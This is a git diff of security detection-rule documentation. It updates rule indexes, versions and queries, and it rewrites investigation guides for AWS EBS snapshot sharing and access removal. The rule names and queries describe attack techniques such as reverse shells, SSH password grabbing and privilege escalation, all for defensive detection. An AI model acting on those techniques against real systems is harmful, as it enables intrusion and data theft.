include::rule-details/aws-ec2-deprecated-ami-discovery.asciidoc[] include::rule-details/aws-ec2-ebs-snapshot-access-removed.asciidoc[] include::rule-details/aws-ec2-ebs-snapshot-shared-or-made-public.asciidoc[] include::rule-details/aws-ec2-encryption-disabled.asciidoc[] +include::rule-details/aws-ec2-export-task.asciidoc[] include::rule-details/aws-ec2-full-network-packet-capture-detected.asciidoc[] include::rule-details/aws-ec2-instance-connect-ssh-public-key-uploaded.asciidoc[] include::rule-details/aws-ec2-instance-console-login-via-assumed-role.asciidoc[] @@ -40,7 +41,6 @@ include::rule-details/aws-ec2-route-table-modified-or-deleted.asciidoc[] include::rule-details/aws-ec2-security-group-configuration-change.asciidoc[] include::rule-details/aws-ec2-unauthorized-admin-credential-fetch-via-assumed-role.asciidoc[] include::rule-details/aws-ec2-user-data-retrieval-for-ec2-instance.asciidoc[] -include::rule-details/aws-ec2-vm-export-failure.asciidoc[] include::rule-details/aws-efs-file-system-or-mount-deleted.asciidoc[] include::rule-details/aws-elasticache-security-group-created.asciidoc[] include::rule-details/aws-elasticache-security-group-modified-or-deleted.asciidoc[] @@ -93,6 +93,7 @@ include::rule-details/aws-route53-private-hosted-zone-associated-with-a-vpc.asci include::rule-details/aws-s3-bucket-configuration-deletion.asciidoc[] include::rule-details/aws-s3-bucket-enumeration-or-brute-force.asciidoc[] include::rule-details/aws-s3-bucket-expiration-lifecycle-configuration-added.asciidoc[] +include::rule-details/aws-s3-bucket-policy-added-to-allow-public-access.asciidoc[] include::rule-details/aws-s3-bucket-policy-added-to-share-with-external-account.asciidoc[] include::rule-details/aws-s3-bucket-replicated-to-another-account.asciidoc[] include::rule-details/aws-s3-bucket-server-access-logging-disabled.asciidoc[] @@ -303,6 +304,7 @@ include::rule-details/default-cobalt-strike-team-server-certificate.asciidoc[] include::rule-details/delayed-execution-via-ping.asciidoc[] include::rule-details/delegated-managed-service-account-modification-by-an-unusual-user.asciidoc[] include::rule-details/delete-volume-usn-journal-with-fsutil.asciidoc[] +include::rule-details/deprecated-aws-ec2-vm-export-failure.asciidoc[] include::rule-details/deprecated-aws-root-login-without-mfa.asciidoc[] include::rule-details/deprecated-execution-of-file-written-or-modified-by-pdf-reader.asciidoc[] include::rule-details/deprecated-launchdaemon-creation-or-modification-and-immediate-loading.asciidoc[] @@ -589,9 +591,9 @@ include::rule-details/loadable-kernel-module-configuration-file-creation.asciido include::rule-details/local-account-tokenfilter-policy-disabled.asciidoc[] include::rule-details/local-scheduled-task-creation.asciidoc[] include::rule-details/login-via-unusual-system-user.asciidoc[] +include::rule-details/m365-identity-login-from-atypical-travel-location.asciidoc[] +include::rule-details/m365-identity-login-from-impossible-travel-location.asciidoc[] include::rule-details/m365-onedrive-excessive-file-downloads-with-oauth-token.asciidoc[] -include::rule-details/m365-portal-login-atypical-travel.asciidoc[] -include::rule-details/m365-portal-login-impossible-travel.asciidoc[] include::rule-details/m365-threat-intelligence-signal.asciidoc[] include::rule-details/mfa-deactivation-with-no-re-activation-for-okta-user-account.asciidoc[] include::rule-details/mfa-disabled-for-google-workspace-organization.asciidoc[] @@ -927,6 +929,7 @@ include::rule-details/potential-privilege-escalation-via-overlayfs.asciidoc[] include::rule-details/potential-privilege-escalation-via-pkexec.asciidoc[] include::rule-details/potential-privilege-escalation-via-python-cap-setuid.asciidoc[] include::rule-details/potential-privilege-escalation-via-recently-compiled-executable.asciidoc[] +include::rule-details/potential-privilege-escalation-via-suid-sgid-proxy-execution.asciidoc[] include::rule-details/potential-privilege-escalation-via-service-imagepath-modification.asciidoc[] include::rule-details/potential-privilege-escalation-via-sudoers-file-modification.asciidoc[] include::rule-details/potential-privilege-escalation-via-uid-int-max-bug-detected.asciidoc[] @@ -956,6 +959,7 @@ include::rule-details/potential-reverse-shell-via-java.asciidoc[] include::rule-details/potential-reverse-shell-via-suspicious-binary.asciidoc[] include::rule-details/potential-reverse-shell-via-suspicious-child-process.asciidoc[] include::rule-details/potential-reverse-shell-via-udp.asciidoc[] +include::rule-details/potential-ssh-password-grabbing-via-strace.asciidoc[] include::rule-details/potential-ssh-it-ssh-worm-downloaded.asciidoc[] include::rule-details/potential-syn-based-port-scan-detected.asciidoc[] include::rule-details/potential-secure-file-deletion-via-sdelete-utility.asciidoc[] @@ -1233,6 +1237,7 @@ include::rule-details/suspicious-imagepath-service-creation.asciidoc[] include::rule-details/suspicious-installer-package-spawns-network-event.asciidoc[] include::rule-details/suspicious-inter-process-communication-via-outlook.asciidoc[] include::rule-details/suspicious-jetbrains-teamcity-child-process.asciidoc[] +include::rule-details/suspicious-kerberos-authentication-ticket-request.asciidoc[] include::rule-details/suspicious-kernel-feature-activity.asciidoc[] include::rule-details/suspicious-kworker-uid-elevation.asciidoc[] include::rule-details/suspicious-lsass-access-via-malseclogon.asciidoc[] @@ -1505,6 +1510,7 @@ include::rule-details/windows-sandbox-with-sensitive-configuration.asciidoc[] include::rule-details/windows-script-executing-powershell.asciidoc[] include::rule-details/windows-script-execution-from-archive.asciidoc[] include::rule-details/windows-script-interpreter-executing-process-via-wmi.asciidoc[] +include::rule-details/windows-server-update-service-spawning-suspicious-processes.asciidoc[] include::rule-details/windows-service-installed-via-an-unusual-client.asciidoc[] include::rule-details/windows-subsystem-for-linux-distribution-installed.asciidoc[] include::rule-details/windows-subsystem-for-linux-enabled-via-dism-utility.asciidoc[] diff --git a/docs/detections/prebuilt-rules/rule-details/agent-spoofing-mismatched-agent-id.asciidoc b/docs/detections/prebuilt-rules/rule-details/agent-spoofing-mismatched-agent-id.asciidoc index 24b7e04550..73b4315f8f 100644 --- a/docs/detections/prebuilt-rules/rule-details/agent-spoofing-mismatched-agent-id.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/agent-spoofing-mismatched-agent-id.asciidoc @@ -29,7 +29,7 @@ Detects events that have a mismatch on the expected event agent ID. The status " * Tactic: Defense Evasion * Resources: Investigation Guide -*Version*: 103 +*Version*: 104 *Rule authors*: @@ -92,7 +92,7 @@ In security environments, agent IDs uniquely identify software agents that repor [source, js] ---------------------------------- -event.agent_id_status:(agent_id_mismatch or mismatch) +event.agent_id_status:(agent_id_mismatch or mismatch) and not host.name:agentless-* ---------------------------------- diff --git a/docs/detections/prebuilt-rules/rule-details/aws-access-token-used-from-multiple-addresses.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-access-token-used-from-multiple-addresses.asciidoc index 0b132feba8..cde589a749 100644 --- a/docs/detections/prebuilt-rules/rule-details/aws-access-token-used-from-multiple-addresses.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/aws-access-token-used-from-multiple-addresses.asciidoc @@ -32,7 +32,7 @@ This rule identifies potentially suspicious activity by detecting instances wher * Use Case: Identity and Access Audit * Resources: Investigation Guide -*Version*: 103 +*Version*: 105 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/aws-bedrock-detected-multiple-attempts-to-use-denied-models-by-a-single-user.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-bedrock-detected-multiple-attempts-to-use-denied-models-by-a-single-user.asciidoc index 9bb2e32e76..fb505395f6 100644 --- a/docs/detections/prebuilt-rules/rule-details/aws-bedrock-detected-multiple-attempts-to-use-denied-models-by-a-single-user.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/aws-bedrock-detected-multiple-attempts-to-use-denied-models-by-a-single-user.asciidoc @@ -34,7 +34,7 @@ Identifies multiple successive failed attempts to use denied model resources wit * Mitre Atlas: T0015 * Mitre Atlas: T0034 -*Version*: 5 +*Version*: 7 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/aws-bedrock-detected-multiple-validation-exception-errors-by-a-single-user.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-bedrock-detected-multiple-validation-exception-errors-by-a-single-user.asciidoc index 96fd343b94..8b4f589f5a 100644 --- a/docs/detections/prebuilt-rules/rule-details/aws-bedrock-detected-multiple-validation-exception-errors-by-a-single-user.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/aws-bedrock-detected-multiple-validation-exception-errors-by-a-single-user.asciidoc @@ -36,7 +36,7 @@ Identifies multiple validation exeception errors within AWS Bedrock. Validation * Mitre Atlas: T0046 * Resources: Investigation Guide -*Version*: 5 +*Version*: 7 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/aws-bedrock-guardrails-detected-multiple-policy-violations-within-a-single-blocked-request.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-bedrock-guardrails-detected-multiple-policy-violations-within-a-single-blocked-request.asciidoc index 3b1f43925b..2b2c24b606 100644 --- a/docs/detections/prebuilt-rules/rule-details/aws-bedrock-guardrails-detected-multiple-policy-violations-within-a-single-blocked-request.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/aws-bedrock-guardrails-detected-multiple-policy-violations-within-a-single-blocked-request.asciidoc @@ -34,7 +34,7 @@ Identifies multiple violations of AWS Bedrock guardrails within a single request * Mitre Atlas: T0051 * Mitre Atlas: T0054 -*Version*: 5 +*Version*: 7 *Rule authors*: @@ -112,6 +112,9 @@ https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html ---------------------------------- from logs-aws_bedrock.invocation-* +// Expand multi-value policy action field +| mv_expand gen_ai.policy.action + // Filter for policy-blocked requests | where gen_ai.policy.action == "BLOCKED" diff --git a/docs/detections/prebuilt-rules/rule-details/aws-bedrock-guardrails-detected-multiple-violations-by-a-single-user-over-a-session.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-bedrock-guardrails-detected-multiple-violations-by-a-single-user-over-a-session.asciidoc index 9bc247c5a6..985c2973a1 100644 --- a/docs/detections/prebuilt-rules/rule-details/aws-bedrock-guardrails-detected-multiple-violations-by-a-single-user-over-a-session.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/aws-bedrock-guardrails-detected-multiple-violations-by-a-single-user-over-a-session.asciidoc @@ -34,7 +34,7 @@ Identifies multiple violations of AWS Bedrock guardrails by the same user in the * Mitre Atlas: T0051 * Mitre Atlas: T0054 -*Version*: 6 +*Version*: 8 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/aws-bedrock-invocations-without-guardrails-detected-by-a-single-user-over-a-session.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-bedrock-invocations-without-guardrails-detected-by-a-single-user-over-a-session.asciidoc index 86dcc6634d..f578dcc8d3 100644 --- a/docs/detections/prebuilt-rules/rule-details/aws-bedrock-invocations-without-guardrails-detected-by-a-single-user-over-a-session.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/aws-bedrock-invocations-without-guardrails-detected-by-a-single-user-over-a-session.asciidoc @@ -34,7 +34,7 @@ Identifies multiple AWS Bedrock executions in a one minute time window without g * Mitre Atlas: T0051 * Mitre Atlas: T0054 -*Version*: 3 +*Version*: 5 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/aws-cli-command-with-custom-endpoint-url.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-cli-command-with-custom-endpoint-url.asciidoc index 6d678bc791..9889789613 100644 --- a/docs/detections/prebuilt-rules/rule-details/aws-cli-command-with-custom-endpoint-url.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/aws-cli-command-with-custom-endpoint-url.asciidoc @@ -8,6 +8,7 @@ Detects the use of the AWS CLI with the `--endpoint-url` argument, which allows *Rule indices*: * logs-endpoint.events.process-* +* logs-crowdstrike.fdr* *Severity*: medium @@ -31,8 +32,9 @@ Detects the use of the AWS CLI with the `--endpoint-url` argument, which allows * Use Case: Threat Detection * Tactic: Command and Control * Resources: Investigation Guide +* Data Source: Crowdstrike -*Version*: 4 +*Version*: 5 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/aws-discovery-api-calls-via-cli-from-a-single-resource.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-discovery-api-calls-via-cli-from-a-single-resource.asciidoc index a061188922..6fa808bcf1 100644 --- a/docs/detections/prebuilt-rules/rule-details/aws-discovery-api-calls-via-cli-from-a-single-resource.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/aws-discovery-api-calls-via-cli-from-a-single-resource.asciidoc @@ -32,7 +32,7 @@ Detects when a single AWS resource is running multiple `Describe` and `List` API * Tactic: Discovery * Resources: Investigation Guide -*Version*: 3 +*Version*: 5 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/aws-ec2-ebs-snapshot-access-removed.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-ec2-ebs-snapshot-access-removed.asciidoc index a6828ba1f6..6c18a203d0 100644 --- a/docs/detections/prebuilt-rules/rule-details/aws-ec2-ebs-snapshot-access-removed.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/aws-ec2-ebs-snapshot-access-removed.asciidoc @@ -3,13 +3,16 @@ Identifies the removal of access permissions from a shared AWS EC2 EBS snapshot. EBS snapshots are essential for data retention and disaster recovery. Adversaries may revoke or modify snapshot permissions to prevent legitimate users from accessing backups, thereby obstructing recovery efforts after data loss or destructive actions. This tactic can also be used to evade detection or maintain exclusive access to critical backups, ultimately increasing the impact of an attack and complicating incident response. -*Rule type*: esql +*Rule type*: eql -*Rule indices*: None +*Rule indices*: -*Severity*: low +* filebeat-* +* logs-aws.cloudtrail-* -*Risk score*: 21 +*Severity*: medium + +*Risk score*: 47 *Runs every*: 5m @@ -32,7 +35,7 @@ Identifies the removal of access permissions from a shared AWS EC2 EBS snapshot. * Tactic: Impact * Resources: Investigation Guide -*Version*: 2 +*Version*: 3 *Rule authors*: @@ -48,48 +51,75 @@ Identifies the removal of access permissions from a shared AWS EC2 EBS snapshot. *Triage and analysis* +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + *Investigating AWS EC2 EBS Snapshot Access Removed* -This rule detects when access is removed for an AWS EC2 EBS snapshot. EBS virtual disks can be copied into snapshots, which can then be used as backups for recovery and data retention efforts. Adversaries may attempt to remove access to snapshots in order to prevent legitimate users or automated processes from accessing or restoring from snapshots following data loss, ransomware, or destructive actions. This can significantly delay or even prevent recovery, increasing the impact of the attack. -Restricting snapshot access may help adversaries cover their tracks by making it harder for defenders to analyze or recover deleted or altered data. Attackers may remove permissions for all users except their own compromised account, allowing them to maintain exclusive access to backups for future use or leverage. Understanding the context and legitimacy of such changes is crucial to determine if the action is benign or malicious. +This rule detects when access is removed for an AWS EC2 EBS snapshot. EBS virtual disks can be copied into snapshots, which can then be used as backups for recovery and data retention efforts. Adversaries may attempt to remove access to snapshots in order to prevent legitimate users or automated processes from accessing or restoring from snapshots following data loss, ransomware, or destructive actions. This can significantly delay or even prevent recovery, increasing the impact of the attack. Restricting snapshot access may help adversaries cover their tracks by making it harder for defenders to analyze or recover deleted or altered data. Attackers may remove permissions for all users except their own compromised account, allowing them to maintain exclusive access to backups for future use or leverage. Understanding the context and legitimacy of such changes is crucial to determine if the action is benign or malicious. + +*Possible investigation steps:* -*Possible Investigation Steps:* +- **Identify who performed the action**: Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to identify who made the change. Evaluate whether the identity is authorized to manage EBS snapshot permissions (check IAM policies for `ec2:ModifySnapshotAttribute`). +- **Analyze the source of the request**: Examine `source.ip` and `source.geo` fields to determine the geographical origin of the request. An external or unexpected location might indicate compromised credentials or unauthorized access. Review `user_agent.original` to determine if the request came from an expected administrative tool or host. +- **Examine the scope of the change**: + - Review `aws.cloudtrail.request_parameters` to understand which accounts or entities had access removed. + - Look for unusual patterns such as `createVolumePermission={remove=all}` or removal of specific external or organizational accounts. + - Cross-check the affected `snapshotId` in the AWS console or via CLI to confirm current sharing status and determine if any copies or dependent volumes exist. + - Use AWS Config or AWS CLI (`describe-snapshot-attribute`) to verify whether other snapshots were modified within the same timeframe. +- **Correlate with other activities**: + - Search CloudTrail for additional activity from the same actor or `source.ip` around the event time. + - Pay special attention to subsequent `DeleteSnapshot`, `DeregisterImage`, or `RevokeSnapshotAccess` events, which may signal ongoing destruction. + - Check for parallel IAM activity, such as policy changes that grant or revoke permissions. + - Correlate with GuardDuty or Security Hub findings related to data exfiltration, destructive actions, or unauthorized configuration changes. + - Determine if any high-value or production snapshots were affected, especially those linked to business-critical EBS volumes. +- **Evaluate timing and intent**: Compare `@timestamp` with maintenance windows or known change requests. Actions taken outside approved hours or without associated tickets may indicate compromise or sabotage. If this change coincides with other detections (for example, `EBS encryption disabled` or `root login` events), treat it as part of a coordinated impact campaign. -- **Identify the Actor**: Review the `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` fields to identify who made the change. Verify if this actor typically performs such actions and if they should have the necessary permissions. -- **Review the Request Details**: Examine the `aws.cloudtrail.request_parameters` to understand the specific changes made to the snapshot permissions. Look for any unusual parameters that could suggest unauthorized or malicious modifications. -- **Analyze the Source of the Request**: Investigate the `source.ip` and `source.geo` fields to determine the geographical origin of the request. An external or unexpected location might indicate compromised credentials or unauthorized access. -- **Contextualize with Timestamp**: Use the `@timestamp` field to check when the change occurred. Modifications during non-business hours or outside regular maintenance windows might require further scrutiny. -- **Correlate with Other Activities**: Search for related CloudTrail events before and after this change to see if the same actor or IP address engaged in other potentially suspicious activities. In particular, use the `snapshotId` to see if this snapshot was shared with an unauthorized account. -- **Review UserID**: Check the `userId` field to identify which user's permissions were removed. Verify if this account should be authorized to access the data or if the access removal is expected. +*False positive analysis:* -*False Positive Analysis:* +- **Planned administrative maintenance**: Confirm whether this snapshot modification aligns with backup rotation, retention policy enforcement, or snapshot lifecycle automation. +- **Automation and tooling**: Infrastructure-as-code pipelines or DevOps scripts may legitimately remove snapshot sharing to enforce compliance. Review tags, user agents, and automation identifiers. +- **Testing or sandbox accounts**: Some non-production environments may modify snapshot access for isolation. Validate account purpose before escalating. -- **Legitimate Administrative Actions**: Confirm if the snapshot sharing aligns with scheduled updates, development activities, or legitimate administrative tasks documented in change management systems. -- **Consistency Check**: Compare the action against historical data of similar actions performed by the user or within the organization. If the action is consistent with past legitimate activities, it might indicate a false alarm. +If the action was expected, document the change approval and reconcile against internal audit or change-control systems. -*Response and Remediation:* +*Response and remediation:* -- **Immediate Review and Reversal if Necessary**: If the change was unauthorized, update the snapshot permissions to restore it to its previous state. -- **Enhance Monitoring and Alerts**: Adjust monitoring systems to alert on similar actions, especially those involving sensitive data or permissions. -- **Educate and Train**: Provide additional training to users with administrative rights on the importance of security best practices concerning snapshot management and sharing permissions. -- **Audit Snapshots and Policies**: Conduct a comprehensive audit of all snapshots and associated policies to ensure they adhere to the principle of least privilege. -- **Incident Response**: If there's an indication of malicious intent or a security breach, initiate the incident response protocol to mitigate any damage and prevent future occurrences. +**1. Containment and validation** +- Review and, if necessary, restore snapshot permissions using AWS Console or CLI (`modify-snapshot-attribute` with `add` parameters). +- Confirm that no additional snapshots or AMIs have had access removed. +- Restrict `ec2:ModifySnapshotAttribute` permissions to only trusted administrative roles. +**2. Investigate for data destruction or persistence** +- Determine if the same actor also deleted or copied snapshots (`DeleteSnapshot`, `CopySnapshot`). +- Review subsequent volume creation or image registration events that could indicate snapshot reuse. +- Identify whether any snapshot was shared to or copied by an external AWS account. +**3. Strengthen detection and monitoring** +- Enable AWS Config rules and Security Hub controls such as `ebs-snapshot-public-restorable-check`. +- Establish continuous monitoring for `ModifySnapshotAttribute` and `DeleteSnapshot` operations. +- Correlate future detections with user identity and source IP context to identify recurring behavior. +**4. Recovery and hardening** +- Verify that critical snapshots and backups are retained and encrypted. +- Implement backup immutability with AWS Backup Vault Lock or S3 Object Lock for long-term protection. +- Apply service control policies (SCPs) to prevent unauthorized modification of snapshot sharing attributes. +- Conduct a post-incident review to identify the root cause and strengthen least-privilege enforcement for EBS management roles. -*Additional Information:* +*Additional information* -For further guidance on managing EBS snapshots and securing AWS environments, refer to the https://docs.aws.amazon.com/ebs/latest/userguide/ebs-modifying-snapshot-permissions.html[AWS EBS documentation] and AWS best practices for security. Additionally, consult the following resources for specific details on EBS snapshot security: -- https://docs.aws.amazon.com/ebs/latest/userguide/ebs-modifying-snapshot-permissions.html[AWS EBS Snapshot Permissions] -- https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifySnapshotAttribute.html[AWS API ModifySnapshotAttribute] +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS Incident Response Playbooks]**: guidance for investigating unauthorized access to modify account settings. +- **https://github.com/aws-samples/aws-customer-playbook-framework/[AWS Customer Playbook Framework]**: Example framework for customers to create, develop, and integrate security playbooks in preparation for potential attack scenarios when using AWS services +- **AWS Documentation** + - https://docs.aws.amazon.com/ebs/latest/userguide/ebs-modifying-snapshot-permissions.html[EBS Snapshot Permissions] + - https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ModifySnapshotAttribute.html[ModifySnapshotAttribute API Reference] ==== Rule query @@ -97,32 +127,11 @@ For further guidance on managing EBS snapshots and securing AWS environments, re [source, js] ---------------------------------- -from logs-aws.cloudtrail-* metadata _id, _version, _index - -// Filter for successful snapshot modifications -| where - event.provider == "ec2.amazonaws.com" +info where event.dataset == "aws.cloudtrail" and event.action == "ModifySnapshotAttribute" and event.outcome == "success" - -// dissect parameters to extract key fields -| dissect aws.cloudtrail.request_parameters - "{%{?snapshotId}=%{Esql.aws_cloudtrail_request_parameters_snapshot_id},%{?attributeType}=%{Esql.aws_cloudtrail_request_parameters_attribute_type},%{?createVolumePermission}={%{Esql.aws_cloudtrail_request_parameters_operation_type}={%{?items}=[{%{?userId}=%{Esql_priv.aws_cloudtrail_request_parameters_user_id}}]}}}" - -// Match on snapshot permission **removal** -| where Esql.aws_cloudtrail_request_parameters_operation_type == "remove" - -// keep ECS and derived fields -| keep - @timestamp, - aws.cloudtrail.user_identity.arn, - cloud.account.id, - event.action, - Esql.aws_cloudtrail_request_parameters_snapshot_id, - Esql.aws_cloudtrail_request_parameters_attribute_type, - Esql.aws_cloudtrail_request_parameters_operation_type, - Esql_priv.aws_cloudtrail_request_parameters_user_id, - source.address + and stringContains (aws.cloudtrail.request_parameters, "attributeType=CREATE_VOLUME_PERMISSION") + and stringContains (aws.cloudtrail.request_parameters, "remove=") ---------------------------------- diff --git a/docs/detections/prebuilt-rules/rule-details/aws-ec2-ebs-snapshot-shared-or-made-public.asciidoc b/docs/detections/prebuilt-rules/rule-details/aws-ec2-ebs-snapshot-shared-or-made-public.asciidoc index 9749f3ee31..38308d5328 100644 --- a/docs/detections/prebuilt-rules/rule-details/aws-ec2-ebs-snapshot-shared-or-made-public.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/aws-ec2-ebs-snapshot-shared-or-made-public.asciidoc @@ -1,15 +1,18 @@ [[aws-ec2-ebs-snapshot-shared-or-made-public]] === AWS EC2 EBS Snapshot Shared or Made Public -Identifies AWS EC2 EBS snaphots being shared with another AWS account or made public. EBS virtual disks can be copied into snapshots, which can then be shared with an external AWS account or made public. Adversaries may attempt this in order to copy the snapshot into an environment they control, to access the data. +Detects when an Amazon Elastic Block Store (EBS) snapshot is shared with another AWS account or made public. EBS snapshots contain copies of data volumes that may include sensitive or regulated information. Adversaries may exploit ModifySnapshotAttribute to share snapshots with external accounts or the public, allowing them to copy and access data in an environment they control. This activity often precedes data exfiltration or persistence operations, where the attacker transfers stolen data out of the victim account or prepares a staging area for further exploitation. -*Rule type*: esql +*Rule type*: eql -*Rule indices*: None +*Rule indices*: -*Severity*: low +* filebeat-* +* logs-aws.cloudtrail-* -*Risk score*: 21 +*Severity*: medium + +*Risk score*: 47 *Runs every*: 5m @@ -34,7 +37,7 @@ Identifies AWS EC2 EBS snaphots being shared with another AWS account or made pu * Tactic: Exfiltration * Resources: Investigation Guide -*Version*: 7 +*Version*: 8 *Rule authors*: @@ -50,49 +53,76 @@ Identifies AWS EC2 EBS snaphots being shared with another AWS account or made pu *Triage and analysis* +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + *Investigating AWS EC2 EBS Snapshot Shared or Made Public* -This rule detects when an AWS EC2 EBS snapshot is shared with another AWS account or made public. EBS virtual disks can be copied into snapshots, which can then be shared with an external AWS account or made public. Adversaries may attempt this to copy the snapshot into an environment they control to access the data. Understanding the context and legitimacy of such changes is crucial to determine if the action is benign or malicious. +This rule detects when an Amazon Elastic Block Store (EBS) snapshot is shared with another AWS account or made public. EBS snapshots store copies of data volumes that may contain sensitive or regulated information. Adversaries may exploit the `ModifySnapshotAttribute` API to share these snapshots externally, allowing them to copy and access the data in an environment they control. This activity is commonly associated with data exfiltration or persistence techniques, where attackers transfer data outside the victim account or prepare backups they can later retrieve. Public sharing (`group=all`) represents a severe data exposure risk, as it makes the snapshot globally readable. -*Possible Investigation Steps:* +*Possible investigation steps:* -- **Identify the Actor**: Review the `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` fields to identify who made the change. Verify if this actor typically performs such actions and if they have the necessary permissions. -- **Review the Request Details**: Examine the `aws.cloudtrail.request_parameters` to understand the specific changes made to the snapshot permissions. Look for any unusual parameters that could suggest unauthorized or malicious modifications. -- **Analyze the Source of the Request**: Investigate the `source.ip` and `source.geo` fields to determine the geographical origin of the request. An external or unexpected location might indicate compromised credentials or unauthorized access. -- **Contextualize with Timestamp**: Use the `@timestamp` field to check when the change occurred. Modifications during non-business hours or outside regular maintenance windows might require further scrutiny. -- **Correlate with Other Activities**: Search for related CloudTrail events before and after this change to see if the same actor or IP address engaged in other potentially suspicious activities. -- **Review UserID**: Check the `userId` field to identify the AWS account with which the snapshot was shared. Verify if this account is authorized to access the data or if it belongs to a known third party. If this value is `all`, the snapshot is made public. +- **Identify who performed the action**: Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to identify who modified the snapshot’s permissions. Evaluate whether this identity is authorized to share EBS snapshots (check IAM policies for `ec2:ModifySnapshotAttribute`). +- **Analyze the source of the request**: Examine `source.ip` and `source.geo` fields to determine the geographical origin of the request. An unfamiliar or external location may indicate compromised credentials or unauthorized access. Review `user_agent.original` to confirm whether the request originated from an expected administrative tool or host. +- **Examine the scope of the change**: + - Review `aws.cloudtrail.request_parameters` to determine which AWS account(s) were added to the `createVolumePermission` list. + - If the account ID matches the snapshot owner’s account, this is redundant and typically non-malicious. + - If another account ID or `group=all` appears, verify whether the target is an approved AWS Organization account or an external party. + - Cross-check the affected `snapshotId` in the AWS console or via CLI (`describe-snapshot-attribute`) to confirm current sharing status. + - Identify whether other snapshots or AMIs were shared in the same timeframe. +- **Correlate with other activities**: + - Search CloudTrail for related events involving the same actor or `source.ip`. + - Look for `CreateSnapshot`, `CopySnapshot`, `ExportImage`, or `PutBucketAcl` events that could indicate broader exfiltration or replication behavior. + - Correlate with detections such as `EBS Snapshot Access Removed` or `EBS Encryption Disabled`, which may signal a coordinated campaign involving both exfiltration and impact. + - Check GuardDuty and Security Hub for findings related to data exposure, cross-account sharing, or unauthorized data transfer. +- **Evaluate timing and intent**: Compare `@timestamp` against scheduled maintenance or approved change windows. Actions performed outside business hours or without documented change tickets should be prioritized for review. -*False Positive Analysis:* +*False positive analysis:* -- **Legitimate Administrative Actions**: Confirm if the snapshot sharing aligns with scheduled updates, development activities, or legitimate administrative tasks documented in change management systems. -- **Consistency Check**: Compare the action against historical data of similar actions performed by the user or within the organization. If the action is consistent with past legitimate activities, it might indicate a false alarm. -- **Verify through Outcomes**: Check the `aws.cloudtrail.response_elements` and the `event.outcome` to confirm if the change was successful and intended according to policy. +- **Authorized internal sharing**: Confirm if the snapshot sharing was part of an approved workflow, such as internal replication or migration between AWS Organization accounts. +- **Automated replication or tooling**: Infrastructure-as-code or backup automation may temporarily share snapshots for cross-region or cross-account transfers. Verify automation identifiers, source IPs, and tags. +- **Self-account addition**: Adding the owner’s own account ID to `createVolumePermission` has no operational impact and can be safely ignored. +If verified as legitimate, document the event under change management and reconcile it against organizational policies for snapshot sharing. -*Response and Remediation:* +*Response and remediation:* -- **Immediate Review and Reversal if Necessary**: If the change was unauthorized, update the snapshot permissions to remove any unauthorized accounts and restore it to its previous state. -- **Enhance Monitoring and Alerts**: Adjust monitoring systems to alert on similar actions, especially those involving sensitive data or permissions. -- **Educate and Train**: Provide additional training to users with administrative rights on the importance of security best practices concerning snapshot management and sharing permissions. -- **Audit Snapshots and Policies**: Conduct a comprehensive audit of all snapshots and associated policies to ensure they adhere to the principle of least privilege. -- **Incident Response**: If there's an indication of malicious intent or a security breach, initiate the incident response protocol to mitigate any damage and prevent future occurrences. +**1. Containment and validation** +- If unauthorized, immediately remove added permissions using the AWS CLI: + `aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Remove=[{UserId=}]"` +- Revoke public sharing (`group=all`) to prevent external access. +- Restrict `ec2:ModifySnapshotAttribute` permissions to trusted administrative roles only. +**2. Investigate for data exfiltration or persistence** +- Determine whether the shared snapshot was copied to another account (`CopySnapshot`). +- Engage AWS Support if evidence suggests external copying or data theft. +- Review subsequent API calls or IAM changes for further persistence or data movement. +**3. Strengthen detection and monitoring** +- Enable AWS Config rules such as `ebs-snapshot-public-restorable-check`. +- Implement continuous monitoring for `ModifySnapshotAttribute` and `CopySnapshot` operations. +- Correlate future detections by actor, access key, and source IP to identify repeated or automated exfiltration attempts. +**4. Recovery and hardening** +- Enable default encryption and validate that all snapshots remain private. +- Apply Service Control Policies (SCPs) to prevent public snapshot sharing organization-wide. +- Audit existing snapshots to ensure no others have unauthorized permissions. +- Implement least-privilege IAM principles and enforce multi-factor authentication (MFA) for administrative accounts. 